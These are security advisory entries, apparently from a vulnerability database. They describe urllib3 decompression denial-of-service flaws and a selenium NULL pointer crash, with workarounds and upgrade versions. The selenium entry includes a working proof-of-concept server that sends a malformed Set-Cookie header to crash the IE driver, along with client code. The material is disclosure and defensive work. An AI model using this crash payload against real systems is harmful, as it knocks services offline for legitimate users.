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Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling during the decompression of compressed response data. An attacker can cause excessive CPU and memory consumption by sending responses with a large number of chained compression steps.

Workaround

This vulnerability can be avoided by setting preload_content=False and ensuring that resp.headers["content-encoding"] are limited to a safe quantity before reading.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade urllib3 to version 2.6.0 or higher.

References

• GitHub Commit

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the Streaming API. The ContentDecoder class can be forced to allocate disproportionate resources when processing a single chunk with very high compression, such as via the stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), and readinto(b) functions.

Note: It is recommended to patch Brotli dependencies (upgrade to at least 1.2.0) if they are installed outside of urllib3 as well, to avoid other instances of the same vulnerability.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade urllib3 to version 2.6.0 or higher.

References

• GitHub Commit

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the streaming API when handling HTTP redirects. An attacker can cause excessive resource consumption by serving a specially crafted compressed response that triggers decompression of large amounts of data before any read limits are enforced.

Note: This is only exploitable if content is streamed from untrusted sources with redirects enabled.

Workaround

This vulnerability can be mitigated by disabling redirects by setting redirect=False for requests to untrusted sources.

Remediation

Upgrade urllib3 to version 2.6.3 or higher.

References

• GitHub Commit

Overview

selenium is a Python language bindings for Selenium WebDriver

Affected versions of this package are vulnerable to NULL Pointer Dereference due to an insufficient check on CookieWndProc function. An attacker can cause the application to crash by sending specially crafted data that triggers this condition.

PoC

Attacker Server Code

from http.server import BaseHTTPRequestHandler, HTTPServer
from datetime import datetime, timedelta

class CustomHTTPRequestHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        # Send response status code
        self.send_response(200)

        # Send headers
        self.send_header('Content-type', 'text/html')
        # Set the cookie expiration to one day in the future
        expiration_date = (datetime.utcnow() + timedelta(days=1)).strftime('%a, %d %b %Y %H:%M:%S GMT')
        
        well_formed_cookie = f"cookie_name=cookie_value; Domain=127.0.0.1; Path=/; HttpOnly; Expires={expiration_date};"
        self.send_header('Set-Cookie', well_formed_cookie)

        malicious_cookie = f"cookie_name2" #crash
        self.send_header('Set-Cookie', malicious_cookie)

        self.end_headers()

        # Send message back to client
        message = "Hello world!"
        self.wfile.write(bytes(message, "utf8"))
        return

def run():
    print('Starting server...')
    server_address = ('127.0.0.1', 8090)
    httpd = HTTPServer(server_address, CustomHTTPRequestHandler)
    print('Server is running...')
    httpd.serve_forever()

run()

Example Victim Code

from selenium import webdriver
import logging
import time

handler = logging.FileHandler("sel.log")
logger = logging.getLogger('selenium')
logging.basicConfig(level=logging.DEBUG)
logger.setLevel(logging.DEBUG)
logger.addHandler(handler)

options = webdriver.IeOptions()
options.ignore_zoom_level = True
options.ignore_protected_mode_settings = True
options.attach_to_edge_chrome = True
options.initial_browser_url = 'https://selenium.dev'
service = webdriver.IeService(log_file="ie.log", log_level='DEBUG')
driver = webdriver.Ie(options=options,service=service)

driver.set_page_load_timeout(20)
print("Getting the page: ")

try:
    driver.get("http://127.0.0.1:8090/")
except Exception as e:
    print(e)

print("Got the page!")
print("Get Cookies: ")
cookies = driver.get_cookies()
print(cookies)
time.sleep(3)
driver.quit()

Remediation

Upgrade selenium to version 4.15.1 or higher.

References

• GitHub Commit